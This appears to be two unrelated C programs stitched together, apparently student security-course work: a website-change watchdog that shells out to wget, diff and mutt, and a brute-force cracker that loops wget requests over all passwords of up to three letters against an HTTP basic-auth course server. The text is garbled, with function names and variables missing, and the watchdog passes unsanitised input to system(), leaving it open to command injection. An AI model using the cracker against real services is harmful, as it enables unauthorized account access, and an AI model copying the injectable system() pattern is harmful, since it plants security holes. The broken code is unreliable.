





#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>

#define MSG_FILE "msg"
#define EMAIL_TO "@cs.rmit.edu."
#define TRUE 1
#define FALSE 0


void genLog(char *logFile, const char *URL);
void getPage(const char *URL, const char *fname);
int getCurTime();
int logDiff(const char *logFile, int time);
int isFileExist(const char *fname);
void sendMail(const char* emailTo, const char* subject, const char* msgFile
				, const char* log);

int (int argc, char **argv)
{
	int time_var;
	char *URL;
	int upTime = 0;
	char logFile[256];
	int logSent = FALSE;
	char subject[256];
	
	if (argc != 3)
	{
		fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n");
		exit(1);
	}
	else
	{
		time_var = atoi(argv[2]);

		URL = malloc(strlen(argv[1]));

		if (URL)
		{
			for (;;) 
			{
				if (((int)difftime(upTime, getCurTime()) % time_var == 0) 
								&& !logSent)
				{
					strncpy(URL, argv[1], strlen(argv[1]));
					genLog(logFile, URL);
					if (logDiff(logFile, time_var))
					{
						sprintf(subject, "Changes of %s", URL);
						sendMail(EMAIL_TO, subject, MSG_FILE, logFile);
						logSent = TRUE;
					}
					else
					{
						
					}			
				}

				if ((int)difftime(upTime, getCurTime()) % time_var != 0)
				{
					logSent = FALSE;
				}

			}
		}
		else
		{
			fprintf(stderr, "Error: Unable  allocate %d bytes memory\n", strlen(argv[1]));
			exit(1);
		}
	}

	return 0;
}



void genLog(char *logFile, const char *URL)
{
	char fname[256];

	sprintf(fname, "%d", getCurTime());
	
	strncpy(logFile, fname, strlen(fname));
	logFile[strlen(fname)+1] = '\0';
	getPage(URL, fname);		
}



void getPage(const char *URL, const char *fname)
{
	char cmd[256];
					
	sprintf(cmd, "wget -O %s -q --proxy=off %s", fname, URL);

	system(cmd);	
}



int getCurTime()
{
	return time(NULL);
}



int logDiff(const char *logFile, int time)
{
	int lastLogInt = atoi(logFile)-time;
	char lastLogStr[256];
	char cmd[1024];
	struct stat fileInfo;
	char newLogFile[256];
	
	sprintf(lastLogStr, "%d", lastLogInt);
	
	if (isFileExist(lastLogStr))
	{
		sprintf(newLogFile, "%s.log", logFile);
		sprintf(cmd, "diff -y %s %s > %s", lastLogStr, logFile, newLogFile);
		system(cmd);

		(void)stat(newLogFile, &fileInfo); 

		if (fileInfo.st_size)
		{
			return TRUE;
		}
		else
		{
			return FALSE;
		}
	}
	else
	{
		return FALSE;
		
	}
}



int isFileExist(const char *fname)
{
	FILE *fp;

	fp = fopen(fname, "r");

	if (fp)
	{
		fclose(fp);
		return TRUE;
	}
	else
	{
		return FALSE;
	}
}



void sendMail(const char* emailTo, const char* subject, const char* msgFile, const char* log)
{
	char tempCmd[1024];
	char cmd[1024];

	sprintf(tempCmd, " %s | mutt -s \"%s\" -a \"%s.log\" -x %s", 
					msgFile, subject, log, emailTo);
	strncpy(cmd, tempCmd, 1024);

	system(cmd);
}



#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255



int genchkpwd(char *chararray,char *passwd)
 {
   int i,j,k,success;
   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];
   
   
   strcpy(str1,"wget --http-user= --http-passwd=");
   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");
   strcpy(tempstr,"");



   for(i=0;i<52;i++)
    {
      passwd[0]= chararray[i];
      strcat(tempstr,str1);
      strcat(tempstr,passwd);
      strcat(tempstr,str2);
      printf("SENDING REQUEST AS %s\n",tempstr);
      success=system (tempstr);
      if (success==0)
       return 1;
      else
       strcpy(tempstr,""); 
       strcpy(passwd,"");
     }     



   for(i=0;i<52;i++)
    {
      passwd[0]= chararray[i];
      for(j=0;j<52;j++)
       {
         passwd[1]=chararray[j];
	 strcat(tempstr,str1);
         strcat(tempstr,passwd);
         strcat(tempstr,str2);
         printf("SENDING REQUEST AS %s\n",tempstr);
         success=system (tempstr);
         if (success==0)
           return 1;
         else
         strcpy(tempstr,""); 
         
      }     
    }



   for(i=0;i<52;i++)
    {
      passwd[0]= chararray[i];
      for(j=0;j<52;j++)
       {
         passwd[1]=chararray[j];
         for(k=0;k<52;k++)
	  {
	    passwd[2]=chararray[k];
	    strcat(tempstr,str1);
            strcat(tempstr,passwd);
            strcat(tempstr,str2);
            printf("SENDING REQUEST AS %s\n",tempstr);
            success=system (tempstr);
            if (success==0)
              return 1;
            else
              strcpy(tempstr,""); 
	  }    
       }     
     }
   return 1;
  }  

int  (int argc, char *argv[])
 {
     char chararray[52],passwd[3];
     int i,success;
     char ch='a';


     
     int , end;    
      = time();	 

     for (i=0;i<3;i++)
      {
          passwd[i]='\0';
      }  



     for (i=0;i<26;i++)
      {
          chararray[i]= ch;
	  ch++;
      }
      ch='A';  
     for (i=26;i<52;i++)
      {
          chararray[i]= ch;
	  ch++;
      }



      success=genchkpwd(chararray,passwd);
      printf("\nPassword is %s\n",passwd); 
      getpid();
      end = time(); 
      printf("Time required = %lld msec\n",(end-)/());
     return (EXIT_SUCCESS);
  }
     
	   
	  	
